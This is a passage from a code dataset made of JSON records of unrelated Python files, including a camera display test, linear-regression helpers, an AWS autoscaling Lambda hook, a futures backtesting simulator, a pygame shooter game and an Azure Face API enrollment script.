display\n\"\"\"\nimport os\nimport sys\nimport cv2\n\nimport numpy as np\n# from tkinter import *\n# import tkinter as tk\n\nimport pygame\nfrom pygame.locals import *\n\nimport sys\n\n\n\nsys.path.append(\"../\")\n\n## my modules ##\nfrom definition import define\nfrom tasks.face_recog import face_recog\nfrom lib.vision.vision import Vision\n\n\n\n\"\"\" constants declaration \"\"\"\n\nSCREEN_SIZE = (1265, 1015) # width, height\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\n\n# Frames per second\nFPS = 30\n\n\n\"\"\" env_setup \"\"\" ############################################################\ndef env_setup(fbpath=\"/dev/fb0\"):\n\n # os.putenv(\"SDL_FBDEV\", fbpath)\n os.environ[\"SDL_FBDEV\"] = fbpath\n\n # set up audio driver to avoid alisa lib erros\n os.environ['SDL_AUDIODRIVER'] = \"dsp\"\n # os.environ['SDL_VIDEODRIVER'] = \"svgalib\"\n # os.putenv['SDL_VIDEODRIVER'] = \"fbcon\"\n\n\n\"\"\" cam_loop \"\"\" ##############################################################\n\ndef cam_loop(screen, fps_clock, title):\n\n print(\"[INFO] cam_loop starts...\")\n\n # vid_window = \"/dev/fb3\"\n # env_setup(vid_window)\n\n vid = Vision()\n print(\"[INFO] cam object created...\")\n\n try:\n while vid.is_camera_connected():\n # screen.fill(WHITE)\n ret, frame = vid.get_video()\n resize_frame = cv2.resize(frame, (define.HORIZ_PIXELS_SMALL, define.VERT_LINES_SMALL))\n frame = cv2.cvtColor(resize_frame, cv2.COLOR_BGR2RGB)\n\n\n front = cv2.FONT_HERSHEY_SIMPLEX\n name = \"vivek\"\n color = (255, 0, 0)\n # width of text\n stroke = 2\n\n cv2.putText(frame, name[::-1], (100, 100), front, 1.0, color, stroke)\n # cv2.putText(frame, name, (100, 100), front, 1.0, color, stroke, cv2.LINE_AA)\n frame = np.rot90(frame)\n frame = pygame.surfarray.make_surface(frame)\n\n screen.blit(title, (200, 25))\n screen.blit(frame, (50, 100)) # x, y\n\n # pygame.display.flip()\n pygame.display.update()\n\n if cv2.waitKey(FPS) & 0xFF == ord(\"q\"):\n break\n\n except Exception as error:\n print(error)\n pygame.quit()\n vid.video_cleanUp()\n sys.exit(-1)\n\n vid.video_cleanUp()\n\n\n\n\n\"\"\" main \"\"\" ###########################################################################################################\ndef main():\n \"\"\"\n \"\"\"\n env_setup()\n\n define.platform_init()\n\n\n try:\n pygame.init()\n except Exception as error:\n print(error)\n\n # title fonts\n fonts = pygame.font.SysFont(\"Comic Sans MS\", 40)\n title = fonts.render('Closed Loop Object Tracking based on Image Recognition', False, (0, 0, 255))\n print(\"[INFO] title set up done...\")\n\n fps_clock = pygame.time.Clock()\n\n # making mouse invisible\n pygame.mouse.set_visible(False)\n\n screen = pygame.display.set_mode(SCREEN_SIZE, pygame.FULLSCREEN | pygame.HWSURFACE | pygame.DOUBLEBUF)\n\n screen.fill(WHITE)\n\n cam_loop(screen, fps_clock, title)\n\n\n\nif __name__ == '__main__':\n\n main()\n\n","repo_name":"vivekpatel99/zybo_7k_object_tracking","sub_path":"zybo_7k_object_tracking/tests/cam_test.py","file_name":"cam_test.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26346420278","text":"import numpy as np\n\n\ndef compute_cost(X, y, w, b):\n m = X.shape[0]\n cost =0\n for i in range(m):\n fx= np.dot(X[i],w) + b\n cost += (fx-y[i])**2\n cost = cost/(2*m) #np.squeeze(cost)\n print(cost)\n return cost\ndef compute_cost_matrix(X, y, w, b):\n fx = X @ w + b\n err = np.sum((fx - y)**2)/(2*X.shape[0])\n print(err)\n return err\n\ndef compute_gradient(X,y,w,b):\n m,n = X.shape\n djw = np.zeros(n)\n djb = 0\n for i in range(m):\n fx = np.dot(X[i],w) + b\n err = fx - y[i]\n for j in range(n):\n djw[j] += err * X[i,j]\n djb += err\n djw = djw / m\n djb = djb / m\n return djw, djb\n\ndef compute_gradient_matrix(X, y, w, b):\n m = X.shape[0]\n # calculate fx for all examples.\n fx = X @ w + b # x: m,n w: n, fx: m\n err = fx - y\n djw = (X.T @ err)/m\n djb = np.sum(err)/ m\n return djw,djb\n\ndef run_gradient_descent(x,y,iteration,alpha):\n w_initial = np.zeros(x.shape[1])\n b_initial =0\n w_out, b_out = gradient_descent(x,y,w_initial,b_initial, alpha, iteration, compute_gradient )\n print(f\"w,b found by gradient descent: w: {w_out}, b: {b_out:0.4f}\")\n #print(w_out,b_out)\n return (w_out, b_out)\n\nimport copy\n\ndef gradient_descent(X, y, w, b, alpha, num_iters, gradient_function):\n m = len(X)\n w_temp = copy.deepcopy(w)\n b_temp = b\n for i in range(num_iters):\n djw, djb = gradient_function(X, y, w_temp, b_temp)\n w_temp = w_temp - alpha * djw\n b_temp = b_temp - alpha * djb\n return w_temp, b_temp\n\ndef zscore_normalize_features(X):\n mu = np.mean(X, axis=0)\n sigma = np.std(X, axis=0)\n X_norm = (X - mu) / sigma\n return (X_norm)","repo_name":"ozgeguney/Machine-Learning","sub_path":"BasicFunctions.py","file_name":"BasicFunctions.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17892449507","text":"import json\nimport boto3\nfrom botocore.exceptions import ClientError\n\n\ndef lambda_handler(event, context):\n\n print(json.dumps(event))\n\n ec2_client = boto3.client(\"ec2\")\n autoscaling = boto3.client(\"autoscaling\")\n event_detail = event[\"detail\"]\n\n # need to introspect some info about the instance\n result = None\n ec2_client = boto3.client(\"ec2\")\n instance_id = event_detail[\"EC2InstanceId\"]\n try:\n result = ec2_client.describe_instances(InstanceIds=[instance_id])\n # there can only be one\n inst = result[\"Reservations\"][0][\"Instances\"][0]\n vpc_id = inst[\"VpcId\"]\n az = inst[\"Placement\"][\"AvailabilityZone\"]\n except ClientError as exc:\n message = f\"could not describe instance {instance_id}: {exc}\"\n print(message)\n raise exc\n\n new_name = \"web_\" + (inst[\"PrivateIpAddress\"]).replace(\".\", \"_\") + f\"_{az}\"\n\n response = ec2_client.create_tags(\n Resources=[instance_id], Tags=[{\"Key\": \"Name\", \"Value\": new_name}]\n )\n\n params = {\n \"LifecycleHookName\": event_detail[\"LifecycleHookName\"],\n \"AutoScalingGroupName\": event_detail[\"AutoScalingGroupName\"],\n \"LifecycleActionToken\": event_detail[\"LifecycleActionToken\"],\n \"LifecycleActionResult\": \"CONTINUE\",\n \"InstanceId\": event_detail[\"EC2InstanceId\"],\n }\n print(f\"calling autoscaling.complete_lifecycle_action({params})\")\n\n try:\n response = autoscaling.complete_lifecycle_action(**params)\n except ClientError as e:\n message = \"Error completing lifecycle action: {}\".format(e)\n print(message)\n\n print(response)\n","repo_name":"patrickmryan/cdk-asg","sub_path":"lambdas/launching_hook/launching_hook.py","file_name":"launching_hook.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73959958169","text":"from datetime import datetime, timedelta, timezone\nimport math\nimport random\nimport copy\nimport matplotlib.pyplot as plt\n\nprice_list = []\nallvalue_list = []\nslop_list = []\n\nclass Exchange:\n def __init__(self, data, fee, bktest_time, position=None, account=None):\n self.data = data\n self.fee = fee#手续费\n self.bktest_time = int(datetime.timestamp(bktest_time.replace(tzinfo=timezone.utc)) * 1000)#毫秒\n self.starttime_ms = int(datetime.timestamp(self.data.starttime) * 1000)\n self.endtime_ms = int(datetime.timestamp(self.data.endtime) * 1000)\n\n self.position = position if position else [\n {\"Type\":0, \"Amount\":0, \"Price\":0},\n {\"Type\":1, \"Amount\":0, \"Price\":0}\n ]\n self.account = account if account else {\"Balance\":100000}\n\n self.direction = 0\n self.price = 0\n self.level = 1\n self.orders_pending = []#未完成订单\n self.orders_closed = []#已成交订单\n\n self.oldposition = [\n {\"Type\":0, \"Amount\":0, \"Price\":0},\n {\"Type\":1, \"Amount\":0, \"Price\":0}\n ]\n\n#内部函数\n #bktime增加t（ms）\n def UpdateBkTime(self, t):\n nowtime = self.bktest_time + t\n \n #判断这一段时间里有没有限价单成交\n max, min = self.data.GetMaxMin(self.bktest_time, nowtime)\n for order in self.orders_pending:\n if (order[\"Type\"] == 0 and order[\"Price\"] > min) or (order[\"Type\"] == 1 and order[\"Price\"] < max):#买单/卖单成交\n self.CompleteOrder(order)\n\n self.bktest_time = nowtime\n\n #查找bktime时刻的价格\n def GetPrice(self):\n self.UpdateBkTime(100)\n if self.bktest_time > self.endtime_ms:#毫秒\n print(\"达到回测终点\")\n self.EndBackTest()\n raise \"达到回测终点\"\n \n index, time, price = self.data.GetPrice(self.bktest_time)\n if time == 0:\n print(\"达到回测终点\")\n self.EndBackTest()\n raise \"达到回测终点\"\n\n #self.UpdateBkTime(time - self.bktest_time)\n self.bktest_time = time\n self.price = price\n \n return price\n\n def GetBuyValue(self, price):\n return self.position[0][\"Amount\"] * (price - self.position[0][\"Price\"]) + self.position[0][\"Amount\"] * self.position[0][\"Price\"] / self.level\n\n def GetSellValue(self, price):\n return self.position[1][\"Amount\"] * (self.position[1][\"Price\"] - price) + self.position[1][\"Amount\"] * self.position[1][\"Price\"] / self.level\n\n def CompleteOrder(self, order):\n\n value = order[\"Price\"] * order[\"Amount\"]#名义交易额\n\n if order[\"Type\"] == 1 and order[\"Offset\"] == 1:#平多\n if order[\"Amount\"] > self.position[0][\"Amount\"]:\n print(\"平多仓位不足!\")\n self.EndBackTest()\n raise \"平多仓位不足!\"\n \n #计算旧Value\n oldvalue = self.GetBuyValue(order[\"Price\"])\n #更新amount\n self.position[0][\"Amount\"] -= order[\"Amount\"]\n #计算新Value\n newvalue = self.GetBuyValue(order[\"Price\"])\n #将Value差转入余额\n self.account[\"Balance\"] += (oldvalue - newvalue)\n self.account[\"Balance\"] -= value * self.fee\n \n nowtime = datetime.fromtimestamp(self.bktest_time/1000).astimezone(timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S\")\n print(nowtime, \"成交\", \"平多\", order[\"Price\"], order[\"Amount\"])\n\n elif order[\"Type\"] == 1 and order[\"Offset\"] == 0:#开空\n if self.account[\"Balance\"] < value / self.level:\n print(\"余额不足!\", self.account[\"Balance\"], value)\n self.EndBackTest()\n raise \"余额不足!\"\n\n #计算旧Value\n oldvalue = self.GetSellValue(order[\"Price\"])\n #更新持仓均价\n self.position[1][\"Price\"] = (self.position[1][\"Amount\"]*self.position[1][\"Price\"]\\\n + order[\"Price\"] * order[\"Amount\"])/(self.position[1][\"Amount\"] + order[\"Amount\"])\n #更新amount\n self.position[1][\"Amount\"] += order[\"Amount\"]\n #计算新Value\n newvalue = self.GetSellValue(order[\"Price\"])\n #将Value差从余额扣除\n self.account[\"Balance\"] -= (newvalue - oldvalue)\n self.account[\"Balance\"] -= value * self.fee\n\n nowtime = datetime.fromtimestamp(self.bktest_time/1000).astimezone(timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S\")\n print(nowtime, \"成交\", \"开空\", order[\"Price\"], order[\"Amount\"])\n\n elif order[\"Type\"] == 0 and order[\"Offset\"] == 0:#开多\n if self.account[\"Balance\"] < value / self.level:\n print(\"余额不足!\", self.account[\"Balance\"], value)\n self.EndBackTest()\n raise \"余额不足!\"\n\n #计算旧Value\n oldvalue = self.GetBuyValue(order[\"Price\"])\n #更新持仓均价\n self.position[0][\"Price\"] = (self.position[0][\"Amount\"]*self.position[0][\"Price\"]\\\n + order[\"Price\"] * order[\"Amount\"])/(self.position[0][\"Amount\"] + order[\"Amount\"])\n #更新amount\n self.position[0][\"Amount\"] += order[\"Amount\"]\n #计算新Value\n newvalue = self.GetBuyValue(order[\"Price\"])\n #将Value差从余额扣除\n self.account[\"Balance\"] -= (newvalue - oldvalue)\n self.account[\"Balance\"] -= value * self.fee\n\n nowtime = datetime.fromtimestamp(self.bktest_time/1000).astimezone(timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S\")\n print(nowtime, \"成交\", \"开多\", order[\"Price\"], order[\"Amount\"])\n\n elif order[\"Type\"] == 0 and order[\"Offset\"] == 1:#平空\n if order[\"Amount\"] > self.position[1][\"Amount\"]:\n print(\"平空仓位不足!\")\n self.EndBackTest()\n raise \"平空仓位不足!\"\n\n #计算旧Value\n oldvalue = self.GetSellValue(order[\"Price\"])\n #更新amount\n self.position[1][\"Amount\"] -= order[\"Amount\"]\n #计算新Value\n newvalue = self.GetSellValue(order[\"Price\"])\n #将Value差转入余额\n self.account[\"Balance\"] += (oldvalue - newvalue)\n self.account[\"Balance\"] -= value * self.fee\n \n nowtime = datetime.fromtimestamp(self.bktest_time/1000).astimezone(timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S\")\n print(nowtime, \"成交\", \"平空\", order[\"Price\"], order[\"Amount\"])\n\n #已成交订单加入orders_closed\n self.orders_closed.append(order)\n self.orders_closed[-1][\"Status\"] = 1\n #在orders_pending中删除\n if order in self.orders_pending:\n self.orders_pending.remove(order)\n\n #记录信息\n allvalue = self.account[\"Balance\"] + self.GetBuyValue(order[\"Price\"]) + self.GetSellValue(order[\"Price\"])\n price_list.append(order[\"Price\"])\n allvalue_list.append(allvalue)\n slop_list.append(0 if (self.position[0][\"Amount\"] - self.position[1][\"Amount\"]) == 0 else\n (self.position[0][\"Amount\"] - self.position[1][\"Amount\"]) / (self.position[0][\"Amount\"] + self.position[1][\"Amount\"]))\n\n def Plot(self):\n #价值价格图\n plt.clf()\n plt.plot(price_list, allvalue_list)\n plt.scatter(price_list, allvalue_list)\n plt.show()\n\n #价值图\n plt.clf()\n plt.plot(allvalue_list)\n plt.show()\n\n #斜率价格图\n plt.clf()\n plt.plot(price_list, slop_list)\n plt.scatter(price_list, slop_list)\n plt.show()\n\n def EndBackTest(self):\n self.Plot()\n\n#Get函数\n def GetTicker(self):\n #self.UpdateBkTime(20)\n self.GetPrice()\n ticker = {\"Last\":self.price}\n return ticker\n\n def GetPosition(self):\n self.UpdateBkTime(20)\n #if random.random() > 0.5:\n # self.oldposition = copy.deepcopy(self.position)\n #print(self.position, self.oldposition)\n return self.position\n\n def GetAccount(self):\n self.UpdateBkTime(20)\n return self.account\n\n def IO(self, *argv):\n self.UpdateBkTime(20)\n return self.price\n\n def GetRecords(self, p):\n self.UpdateBkTime(20)\n if p % 60 != 0:\n raise \"周期需为分钟的整数倍\"\n return self.data.GetRecords(p/60, self.bktest_time)\n\n def GetCurrency(self):\n return self.data.currency\n\n def GetOrders(self):\n return self.orders_pending\n\n#Set函数\n def SetDirection(self, s):\n self.UpdateBkTime(20)\n self.direction = s\n\n def SetContractType(self, type):\n pass\n\n def SetMarginLevel(self, l):\n self.level = l\n\n#交易函数\n def Sell(self, price, amount):\n self.UpdateBkTime(100)\n self.GetPrice()\n \n order = dict(\n Id = random.randint(0, 1e8), # 交易单唯一标识\n Price = price, # 下单价格，\n Amount = amount, # 下单数量，\n DealAmount = 0, # 成交数量，如果交易所接口不提供该数据则可能使用0填充\n AvgPrice = 0, # 成交均价，注意有些交易所不提供该数据。不提供、也无法计算得出的情况该属性设置为0\n Status = 0, # 订单状态，0未完成，1已完成，2已取消，3其他\n Type = 1, # 订单类型，0买，1卖\n Offset = 0 if self.direction == \"sell\" else 1, # 数字货币期货的订单数据中订单的开平仓方向。0为开仓方向，1为平仓方向\n ContractType= self.data.currency # 现货订单中该属性为\"\"即空字符串，期货订单该属性为具体的合约代码\n )\n\n if price > 0:#限价挂单\n self.orders_pending.append(order)\n return 0\n else:#市价单立即成交\n order[\"Price\"] = self.price\n self.CompleteOrder(order)\n return 0\n\n def Buy(self, price, amount):\n self.UpdateBkTime(100)\n self.GetPrice()\n \n order = dict(\n Id = random.randint(0, 1e8), # 交易单唯一标识\n Price = price, # 下单价格，\n Amount = amount, # 下单数量，\n DealAmount = 0, # 成交数量，如果交易所接口不提供该数据则可能使用0填充\n AvgPrice = 0, # 成交均价，注意有些交易所不提供该数据。不提供、也无法计算得出的情况该属性设置为0\n Status = 0, # 订单状态，0未完成，1已完成，2已取消，3其他\n Type = 0, # 订单类型，0买，1卖\n Offset = 0 if self.direction == \"buy\" else 1, # 数字货币期货的订单数据中订单的开平仓方向。0为开仓方向，1为平仓方向\n ContractType= self.data.currency # 现货订单中该属性为\"\"即空字符串，期货订单该属性为具体的合约代码\n )\n\n if price > 0:#限价挂单\n self.orders_pending.append(order)\n return 0\n else:#市价单立即成交\n order[\"Price\"] = self.price\n self.CompleteOrder(order)\n return 0\n\n\n","repo_name":"fyr233/FBackTest","sub_path":"FBacktest/Exchange.py","file_name":"Exchange.py","file_ext":"py","file_size_in_byte":11826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25436901516","text":"from modules.images_processing import *\n\nimg = imread('img/4.jpg')\nimg = erode(img, seCross3())\n#histo = hist(img)\n#showhist(histo)\n#img = contrast(img, 10, 10)\nimshow(img)\nprint(nchannels(img))\nprint(size(img))\n","repo_name":"josedhontas/processamento_de_imagens_lab","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4034696699","text":"### START FUNCTION\nimport numpy as np\nimport pandas as pd\ndef word_splitter(df):\n \"\"\" Returns dataFrame with a new column of a list of indivdual words.\n Parameters\n -------\n df: pandas dataframe\n The dataFrame which contains the sentences(tweets) to be split into individual words\n Returns\n -------\n df: pandas dataframe\n The new dataFrame with a new column of a list of individual words.\n \"\"\"\n tweet = df['Tweets'] #taking Tweet column data from dataframe and saving it as a new variable\n split_tweet=[] #intiating a blank list\n\n for i in tweet: #run loop through each tweet\n split_tweet.append(i.lower().split()) #splitting words in tweet as a lowercase, appending it to blank lsit\n\n\n df[\"Split Tweets\"] = split_tweet #making list into new column in dataframe\n\n return df\n\n### END FUNCTION\n","repo_name":"CallinR/analyse_predict","sub_path":"predictpackage/fn6_word_splitter.py","file_name":"fn6_word_splitter.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16680053141","text":"import pygame\r\nimport random\r\n\r\n# Initialize Pygame\r\npygame.init()\r\n\r\n# Set the screen dimensions\r\nscreen_width = 800\r\nscreen_height = 600\r\n\r\n# Create the game window\r\nscreen = pygame.display.set_mode((screen_width, screen_height))\r\n\r\n# Set the title of the game window\r\npygame.display.set_caption('Alien Shooter')\r\n\r\n# Load the background image\r\nbackground = pygame.image.load('background.jpg')\r\n\r\n# Load the player image\r\nplayer = pygame.image.load('player.png')\r\nplayer_width = player.get_width()\r\nplayer_height = player.get_height()\r\n\r\n# Set the initial position of the player\r\nplayer_x = (screen_width - player_width) / 2\r\nplayer_y = screen_height - player_height - 10\r\n\r\n# Set the speed of the player\r\nplayer_speed = 5\r\n\r\n# Load the bullet image\r\nbullet = pygame.image.load('bullet.png')\r\nbullet_width = bullet.get_width()\r\nbullet_height = bullet.get_height()\r\n\r\n# Create a list to store the bullets\r\nbullets = []\r\n\r\n# Set the speed of the bullets\r\nbullet_speed = 7\r\n\r\n# Load the alien image\r\nalien = pygame.image.load('alien.png')\r\nalien_width = alien.get_width()\r\nalien_height = alien.get_height()\r\n\r\n# Create a list to store the aliens\r\naliens = []\r\n\r\n# Set the speed of the aliens\r\nalien_speed = 2\r\n\r\n# Set the frequency of the aliens\r\nalien_frequency = 100\r\n\r\n# Set the score to zero\r\nscore = 0\r\n\r\n# Load the font for the score display\r\nfont = pygame.font.Font(None, 30)\r\n\r\n# Set the game clock\r\nclock = pygame.time.Clock()\r\n\r\n\r\n# Define a function to draw the player\r\ndef draw_player():\r\n screen.blit(player, (player_x, player_y))\r\n\r\n\r\n# Define a function to move the player\r\ndef move_player(direction):\r\n global player_x, player_speed\r\n if direction == 'left':\r\n player_x -= player_speed\r\n elif direction == 'right':\r\n player_x += player_speed\r\n # Keep the player within the screen bounds\r\n if player_x < 0:\r\n player_x = 0\r\n elif player_x > screen_width - player_width:\r\n player_x = screen_width - player_width\r\n\r\n\r\n# Define a function to handle key presses\r\ndef handle_key_presses(keys):\r\n global player_x, player_speed, bullets, last_bullet_time\r\n if keys[pygame.K_LEFT]:\r\n player_speed -= 0.5\r\n if player_speed < 1:\r\n player_speed = 5\r\n move_player('left')\r\n elif keys[pygame.K_RIGHT]:\r\n player_speed -= 0.5\r\n if player_speed < 1:\r\n player_speed = 5\r\n move_player('right')\r\n else:\r\n player_speed = 5\r\n\r\n current_time = pygame.time.get_ticks()\r\n if keys[pygame.K_SPACE] and current_time - last_bullet_time > 500:\r\n bullets.append((player_x + player_width / 2 - bullet_width / 2, player_y - bullet_height))\r\n last_bullet_time = current_time\r\n\r\n\r\n# Define a function to draw the bullets\r\ndef draw_bullets():\r\n for bullet_x, bullet_y in bullets:\r\n screen.blit(bullet, (bullet_x, bullet_y))\r\n\r\n\r\n# Define a function to move the bullets\r\ndef move_bullets():\r\n global bullets\r\n new_bullets = []\r\n for bullet_x, bullet_y in bullets:\r\n bullet_y -= bullet_speed\r\n if bullet_y > 0:\r\n new_bullets.append((bullet_x, bullet_y))\r\n bullets = new_bullets\r\n\r\n\r\n# Define a function to draw the aliens\r\ndef draw_aliens():\r\n for alien_x, alien_y in aliens:\r\n screen.blit(alien, (alien_x, alien_y))\r\n\r\n\r\n# Define a function to move the aliens\r\ndef move_aliens():\r\n global aliens, score\r\n new_aliens = []\r\n for alien_x, alien_y in aliens:\r\n alien_y += alien_speed\r\n if alien_y < screen_height:\r\n new_aliens.append((alien_x, alien_y))\r\n else:\r\n # Alien has reached the bottom of the screen\r\n score -= 10\r\n aliens = new_aliens\r\n\r\n\r\n# Define a function to spawn aliens\r\ndef spawn_aliens():\r\n global aliens\r\n if random.randint(1, alien_frequency) == 1:\r\n alien_x = random.randint(0, screen_width - alien_width)\r\n alien_y = -alien_height\r\n aliens.append((alien_x, alien_y))\r\n\r\n\r\n# Define a function to check for collisions\r\ndef check_collisions():\r\n global bullets, aliens, score\r\n new_bullets = []\r\n for bullet in bullets:\r\n bullet_x, bullet_y = bullet\r\n hit = False\r\n for alien in aliens:\r\n alien_x, alien_y = alien\r\n if ((bullet_x >= alien_x and bullet_x <= alien_x + alien_width) or\r\n (bullet_x + bullet_width >= alien_x and bullet_x + bullet_width <= alien_x + alien_width)):\r\n if bullet_y <= alien_y + alien_height and bullet_y >= alien_y:\r\n # Bullet has hit an alien\r\n score += 10\r\n aliens.remove(alien)\r\n hit = True\r\n break\r\n if not hit:\r\n new_bullets.append(bullet)\r\n aliens_hit_player = False\r\n for alien in aliens:\r\n alien_x, alien_y = alien\r\n if ((alien_x >= player_x and alien_x <= player_x + player_width) or\r\n (alien_x + alien_width >= player_x and alien_x + alien_width <= player_x + player_width)):\r\n if alien_y + alien_height >= player_y:\r\n # Player has been hit by an alien\r\n aliens_hit_player = True\r\n break\r\n if aliens_hit_player:\r\n return True\r\n else:\r\n bullets = new_bullets\r\n return False\r\n\r\n\r\n# Define the main game loop\r\ndef game_loop():\r\n global player_x, player_y, bullets, aliens, score, last_bullet_time\r\n last_bullet_time = 0\r\n game_over = False\r\n while not game_over:\r\n # Handle events\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n game_over = True\r\n\r\n # Handle key presses\r\n keys = pygame.key.get_pressed()\r\n handle_key_presses(keys)\r\n\r\n # Spawn aliens\r\n spawn_aliens()\r\n\r\n # Move and draw objects\r\n move_bullets()\r\n move_aliens()\r\n screen.fill((0, 0, 0)) # Clear the screen\r\n draw_player()\r\n draw_bullets()\r\n draw_aliens()\r\n\r\n # Check for collisions\r\n if check_collisions():\r\n game_over = True\r\n\r\n # Draw the score\r\n score_text = font.render('Score: {}'.format(score), True, (255, 255, 255))\r\n screen.blit(score_text, (10, 10))\r\n\r\n # Update the screen\r\n pygame.display.update()\r\n\r\n # Set the game clock speed\r\n clock.tick(60)\r\n\r\n # Clean up resources\r\n pygame.quit()\r\n\r\n\r\n# Run the game loop\r\ngame_loop()\r\n","repo_name":"Bogwhite4990/Space-Invader-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4368627843","text":"from data_structures.trees import Tree, Node\n\nfrom random import randint\n\ndef build_coordination_game_tree(n_players, branching_factor):\n\ttree = Tree(n_players, 0)\n\n\tbuild_coordination_game_subtree(tree, tree.root, 1, branching_factor, [])\n\n\treturn tree\n\ndef build_coordination_game_subtree(tree, current_node, current_player, branching_factor, action_history):\n\tif current_player >= tree.numOfPlayers:\n\t\tfor a in range(branching_factor):\n\t\t\tu = get_coordination_utility(action_history + [ a ], tree.numOfPlayers)\n\t\t\tleaf = tree.addLeaf(current_node, u)\n\t\treturn\n\n\tfor a in range(branching_factor):\n\t\tnode = tree.addNode(player = current_player, information_set = current_player, parent = current_node)\n\t\tbuild_coordination_game_subtree(tree, node, current_player + 1, branching_factor, action_history + [ a ])\n\ndef get_coordination_utility(action_history, n_players):\n\tu = [0 for _ in range(n_players)]\n\n\tif max(action_history) == min(action_history):\n\t\tx = randint(1, 5)\n\t\tu = [x for _ in range(n_players)]\n\n\treturn u","repo_name":"TommasoBianchi/CFR-Jr","sub_path":"games/coordination.py","file_name":"coordination.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"28377884068","text":"'''\r\n Batch convert a folder with images to pdf.\r\n Expected usage:\r\n python conv_0.py [prefix] [min_range] [max_range] [suffix] [ouput_file]\r\n example:\r\n python conv_0.py -max_range=3 -suffix=.png -output_file=out.pdf\r\n'''\r\nfrom PIL import Image\r\n\r\n# Hard coded program parameters\r\nmin_range = 0\r\nmax_range = 3\r\nprefix = \"imgs_png/\"\r\nsuffix = \".png\"\r\nimages = []\r\n\r\nimages = []\r\nfor i in range(min_range, max_range + 1):\r\n fname = prefix + str(i) + suffix\r\n print(fname)\r\n # Load the current image and store it\r\n im = Image.open(fname)\r\n # (Optional) Process the image if necessary ...\r\n # Pillow can't save RGBA images to pdf,\r\n # make sure the image is RGB\r\n if im.mode == \"RGBA\":\r\n im = im.convert(\"RGB\")\r\n # Add the image to the images list\r\n images.append(im)\r\n\r\n# Convert the images list to pdf\r\nimages[0].save(\"aaa.pdf\", save_all = True, append_images = images[1:])\r\n","repo_name":"sol-prog/batch-convert-images-pdf-python-pillow-img2pdf","sub_path":"convertor_0.py","file_name":"convertor_0.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"21419233277","text":"import os\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport cv2\r\nimport glob\r\nimport pickle\r\nimport glob\r\nimport time\r\n\r\nimport re\r\nfrom collections import defaultdict\r\n\r\nfrom azure.cognitiveservices.vision.face import FaceClient\r\nfrom msrest.authentication import CognitiveServicesCredentials\r\nfrom azure.cognitiveservices.vision.face.models import TrainingStatusType\r\ncurrent_id = 0\r\nlabel_ids={}\r\n\r\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\r\nimage_dir = os.path.join(BASE_DIR, \"images\")\r\n\r\n#face_cascade = cv2.CascadeClassifier('cascades/data/haarcascade_frontalface_alt2.xml')\r\n#recognizer = cv2.face.LBPHFaceRecognizer_create()\r\n\r\n#x_train = []\r\n#y_labels = []\r\n\r\nfirst_label = []\r\nimages_name = []\r\nperson_idList = []\r\nperson_nameList = []\r\nperson_name_id = defaultdict(list)\r\n#dict_name = {}\r\n\r\nKEY = os.environ['FACE_SUBSCRIPTION_KEY']\r\nENDPOINT = os.environ['FACE_ENDPOINT']\r\nface_client = FaceClient(ENDPOINT, CognitiveServicesCredentials(KEY))\r\n\r\nPERSON_GROUP_ID = \"my-unique-person-group\"\r\nface_client.person_group.delete(person_group_id=PERSON_GROUP_ID)\r\nprint(\"Deleted the person group {} from the source location.\".format(PERSON_GROUP_ID))\r\n\r\nface_client.person_group.create(person_group_id=PERSON_GROUP_ID, name=PERSON_GROUP_ID)\r\nprint('Person group:', PERSON_GROUP_ID)\r\n\r\nfor root, dirs, files in os.walk(image_dir):\r\n\tfor file in files:\r\n\t\tif file.endswith(\"png\") or file.endswith(\"jpg\"):\r\n\t\t\tpath = os.path.join(root, file)\r\n\t\t\tw = open(path, 'r+b')\r\n\t\t\t#print(w)\r\n\t\t\tperson_name = os.path.basename(os.path.dirname(path)).replace(\" \", \"_\").lower()\r\n\t\t\tperson_nameList.append(person_name)\r\n\t\t\t#c = face_client.person_group_person.create(PERSON_GROUP_ID, person_name)\r\n\t\t\t#print(person_name)\r\n\t\t\t#face_client.person_group_person.add_face_from_stream(PERSON_GROUP_ID, c.person_id, w)\r\n\t\t\t#print(g)\r\n\t\t\t#person_id = c.person_id\r\n\t\t\t#person_idList.append(person_id)\r\n#for person_id in person_idList:\r\n#\tprint(face_client.person_group_person.get(PERSON_GROUP_ID,person_id))\r\nperson_set = set(person_nameList)\r\n#print(person_set)\r\n#print(person_nameList)\r\n#person_list = list(person_set)\r\nfor person in person_set:\r\n\tgroup = face_client.person_group_person.create(PERSON_GROUP_ID, person,user_data = person)\r\n\tprint(group)\r\n\tperson_id = group.person_id\r\n\tperson_idList.append(person_id)\r\ndict_name = dict(zip(list(person_set), person_idList))\r\nfor name in person_set:\r\n\tprint(name,dict_name[name])\r\n\tfor root, dirs, files in os.walk(image_dir):\r\n\t\tif root.endswith(name):\r\n\t\t\tfor file in files:\r\n\t\t\t\tif file.endswith(\"png\") or 